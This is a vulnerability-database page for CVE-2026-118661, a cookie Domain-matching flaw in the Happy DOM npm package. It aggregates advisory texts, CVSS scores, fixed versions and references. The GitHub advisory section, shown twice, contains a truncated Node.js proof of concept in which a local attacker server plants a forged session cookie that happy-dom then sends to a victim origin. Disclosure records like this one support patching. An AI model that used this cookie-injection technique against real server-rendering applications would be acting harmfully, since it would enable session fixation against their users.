CVE-2026-118661
Happy DOM: Cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.5
Happy DOM: Cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.
- Record
CVE-2026-118661- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-565
- Updated
- 2026-11-03
EUVDEUVD-2026-112468
6.5
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.
- Record
EUVD-2026-112468- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-5fpq-26gf-qwcr
6.5
Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies
Summary
A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.
Details
happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.
PoC
Run:
node poc-happydom-cookie-domain.js
Full proof-of-concept source (poc-happydom-cookie-domain.js):
// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
// -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
// -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
// -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run: cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');
const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost
let victimReceivedCookies = [];
let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;
const attacker = http.createServer((req, res) => {
if (req.method === 'OPTIONS') {
// CORS preflight (happy-dom enforces same-origin policy with a preflight; the
// attacker trivially answers it — an attacker-controlled server always can)
res.writeHead(204, {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': 'GET, OPTIONS',
'Access-Control-Allow-Headers': '*'
});
res.end();
return;
}
res.writeHead(200, {
'content-type': 'image/gif',
'Access-Control-Allow-Origin': '*',
// Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
// A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
// the request-host; localhost is also on the Mozilla PSL).
'Set-Cookie': attackerSetCookie
});
res.end('GIF89a');
});
const victim = http.createServer((req, res) => {
victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({ ok: true, user: 'alice' }));
});
function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }
async function runScenario(scenario) {
victimReceivedCookies = [];
const win = new Window({
url: `http://localhost:${VIC_PORT}/`,
settings: {
enableJavaScriptEvaluation: true,
suppressInsecureJavaScriptEnvironmentWarning: true
}
});
try {
if (scenario === 'no-plant-control') {
// Control: app NEVER contacts attacker -> victim must receive NO cookie
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
} else if (scenario === 'honest-domain-control') {
// Control: attacker sets Domain=127.0.0.1 (its own host, honest)
// -> cookie must NOT leak to localhost victim
attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
} else {
// attack: app fetches attacker content (scraping/SSR/third-party resource)
await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
}
await sleep(150);
return victimReceivedCookies;
} finally {
win.happyDOM.abort();
}
}
async function main() {
await new Promise((r) => attacker.listen(ATK_PORT,…
- Record
GHSA-5fpq-26gf-qwcr- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-565
- Updated
- 2026-11-02
NVD
6.5
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.
- Record
CVE-2026-118661- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-565
- Updated
- 2026-11-03
OSV
6.5
Happy DOM: Cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.
- Record
CVE-2026-118661- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-565
- Updated
- 2026-11-07
OSVGHSA-5fpq-26gf-qwcr
6.5
Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies
Summary
A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.
Details
happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.
PoC
Run:
node poc-happydom-cookie-domain.js
Full proof-of-concept source (poc-happydom-cookie-domain.js):
// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
// -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
// -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
// -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run: cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');
const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost
let victimReceivedCookies = [];
let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;
const attacker = http.createServer((req, res) => {
if (req.method === 'OPTIONS') {
// CORS preflight (happy-dom enforces same-origin policy with a preflight; the
// attacker trivially answers it — an attacker-controlled server always can)
res.writeHead(204, {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': 'GET, OPTIONS',
'Access-Control-Allow-Headers': '*'
});
res.end();
return;
}
res.writeHead(200, {
'content-type': 'image/gif',
'Access-Control-Allow-Origin': '*',
// Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
// A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
// the request-host; localhost is also on the Mozilla PSL).
'Set-Cookie': attackerSetCookie
});
res.end('GIF89a');
});
const victim = http.createServer((req, res) => {
victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({ ok: true, user: 'alice' }));
});
function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }
async function runScenario(scenario) {
victimReceivedCookies = [];
const win = new Window({
url: `http://localhost:${VIC_PORT}/`,
settings: {
enableJavaScriptEvaluation: true,
suppressInsecureJavaScriptEnvironmentWarning: true
}
});
try {
if (scenario === 'no-plant-control') {
// Control: app NEVER contacts attacker -> victim must receive NO cookie
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
} else if (scenario === 'honest-domain-control') {
// Control: attacker sets Domain=127.0.0.1 (its own host, honest)
// -> cookie must NOT leak to localhost victim
attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
} else {
// attack: app fetches attacker content (scraping/SSR/third-party resource)
await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
}
await sleep(150);
return victimReceivedCookies;
} finally {
win.happyDOM.abort();
}
}
async function main() {
await new Promise((r) => attacker.listen(ATK_PORT,…
- Record
GHSA-5fpq-26gf-qwcr- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-565
- Updated
- 2026-11-02
Show 6 moreShow less
OSVCLSA-2026-1793700814 No score
TuxCare security update for happy-dom (2 CVEs)
TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 20.12.0-tuxcare.2.
- Record
CLSA-2026-1793700814- Updated
- 2026-11-03
OSVCLSA-2026-1793974322 No score
TuxCare security update for happy-dom (2 CVEs)
TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 9.10.9-tuxcare.2.
- Record
CLSA-2026-1793974322- Updated
- 2026-11-06
OSVCLSA-2026-1793974458 No score
TuxCare security update for happy-dom (2 CVEs)
TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 9.20.3-tuxcare.6.
- Record
CLSA-2026-1793974458- Updated
- 2026-11-06
OSVCLSA-2026-1793974549 No score
TuxCare security update for happy-dom (2 CVEs)
TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 14.12.3-tuxcare.3.
- Record
CLSA-2026-1793974549- Updated
- 2026-11-06
OSVCLSA-2026-1793974658 No score
TuxCare security update for happy-dom (2 CVEs)
TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 15.11.7-tuxcare.5.
- Record
CLSA-2026-1793974658- Updated
- 2026-11-06
OSVCLSA-2026-1793981813 No score
TuxCare security update for happy-dom (2 CVEs)
TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 20.8.8-tuxcare.3.
- Record
CLSA-2026-1793981813- Updated
- 2026-11-06
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
happy-domnpm |
through 20.14.5 | 20.14.6 |
happy-domTuxCare:npm From an advisory covering 2 CVEs |
20.12.0-tuxcare.0 up to 20.12.0-tuxcare.2, plus listed versions 20.12.020.12.0-tuxcare.1 |
20.12.0-tuxcare.2 |
happy-domTuxCare:npm From an advisory covering 2 CVEs |
9.10.9-tuxcare.0 up to 9.10.9-tuxcare.2, plus listed versions 9.10.99.10.9-tuxcare.1 |
9.10.9-tuxcare.2 |
happy-domTuxCare:npm From an advisory covering 2 CVEs |
9.20.3-tuxcare.0 up to 9.20.3-tuxcare.6, plus listed versions 9.20.39.20.3-tuxcare.19.20.3-tuxcare.29.20.3-tuxcare.39.20.3-tuxcare.49.20.3-tuxcare.5 |
9.20.3-tuxcare.6 |
happy-domTuxCare:npm From an advisory covering 2 CVEs |
14.12.3-tuxcare.0 up to 14.12.3-tuxcare.3, plus listed versions 14.12.314.12.3-tuxcare.114.12.3-tuxcare.2 |
14.12.3-tuxcare.3 |
happy-domTuxCare:npm From an advisory covering 2 CVEs |
15.11.7-tuxcare.0 up to 15.11.7-tuxcare.5, plus listed versions 15.11.715.11.7-tuxcare.115.11.7-tuxcare.215.11.7-tuxcare.315.11.7-tuxcare.4 |
15.11.7-tuxcare.5 |
happy-domTuxCare:npm From an advisory covering 2 CVEs |
20.8.8-tuxcare.0 up to 20.8.8-tuxcare.3, plus listed versions 20.8.820.8.8-tuxcare.120.8.8-tuxcare.2 |
20.8.8-tuxcare.3 |
happy-domnpm |
before 20.14.6 | 20.14.6 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, aliases | OSV | |
| affected | OSV | |
| facts | EUVD, NVD | |
| references | CVE List | |
| affected, aliases | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-118661 is a medium vulnerability (CVSS 6.5) in Capricorn86 Happy-dom, published October 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 19th percentile. Fixed in happy-dom 20.14.6.
References
github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr
github.com/capricorn86/happy-dom/pull/2477
github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3
github.com/capricorn86/happy-dom/releases/tag/v20.14.6
github.com/advisories/GHSA-5fpq-26gf-qwcr
github.com/CVEProject/cvelistV5/tree/main/cves/2026/118xxx/CVE-2026-118661.json
nvd.nist.gov/vuln/detail/CVE-2026-118661
github.com/capricorn86/happy-dom
Left out here: the rest of 2 source descriptions. The JSON record has them.